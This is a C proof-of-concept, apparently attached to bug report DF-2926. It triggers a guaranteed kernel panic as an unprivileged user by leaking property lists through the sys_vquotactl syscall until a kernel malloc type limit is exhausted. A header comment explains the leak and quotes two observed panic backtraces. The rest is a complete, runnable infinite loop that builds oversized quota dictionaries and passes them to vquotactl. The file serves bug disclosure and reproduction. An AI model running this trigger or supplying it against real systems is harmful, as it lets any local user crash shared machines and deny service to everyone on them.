DF-2926 / vqalloc.c
/* * DF-2926 trigger: unprivileged guaranteed kernel panic via * sys_vquotactl plist leak -> kmalloc type limit exhaustion. * * sys_vquotactl() (sys/kern/vfs_quota.c:328-413) never releases the * internalized input dictionary, the "command" cstring, or the output * array (the DF-0146 leak family), and imposes no bound on the size of * the user-supplied plist. Every call therefore permanently consumes * M_PROP_DICT / M_PROP_ARRAY / M_PROP_NUMBER kernel memory. When the * malloc type's ks_limit is reached, _kmalloc_obj() PANICS by design * (sys/kern/kern_kmalloc.c:702-707: panic("%s: malloc limit exceeded")), * and proplib's internalizer/externalizer allocate with M_WAITOK * (no M_NULLOK), so the allocation cannot fail gracefully. * * Observed organically twice while testing DF-2924: * panic: prop dictionary: malloc limit exceeded * _kmalloc <- _prop_dictionary_expand <- prop_dictionary_set * <- _prop_dictionary_internalize_continue (copyin path) * panic: prop dictionary: malloc limit exceeded * _kmalloc <- _prop_dictionary_expand <- prop_dictionary_set * <- prop_dictionary_set_uint32 <- sys_vquotactl+0x40d * (get usage all OUTPUT path) * * Usage: vqalloc <path> [entries] */ #include <sys/vfs_quota.h> #include <libprop/proplib.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *path; int n = 128, round = 0; unsigned i; if (argc < 2) { fprintf(stderr, "usage: %s <path> [entries]\n", argv[0]); return 2; } path = argv[1]; if (argc > 2) n = atoi(argv[2]); for (;;) { prop_dictionary_t dict = prop_dictionary_create(); prop_array_t arr = prop_array_create(); struct plistref pref; for (i = 0; i < (unsigned)n; i++) { prop_dictionary_t d = prop_dictionary_create(); prop_dictionary_set_uint32(d, "uid", 1000000 + i); prop_dictionary_set_uint64(d, "space used", i); prop_array_add(arr, d); prop_object_release(d); } prop_dictionary_set_cstring(dict, "command", "set usage all"); prop_dictionary_set(dict, "arguments", arr); prop_object_release(arr); if (prop_dictionary_send_syscall(dict, &pref) == 0) vquotactl(path, &pref); prop_object_release(dict); if ((++round % 200) == 0) { printf("round %d\n", round); fflush(stdout); } } return 0; } |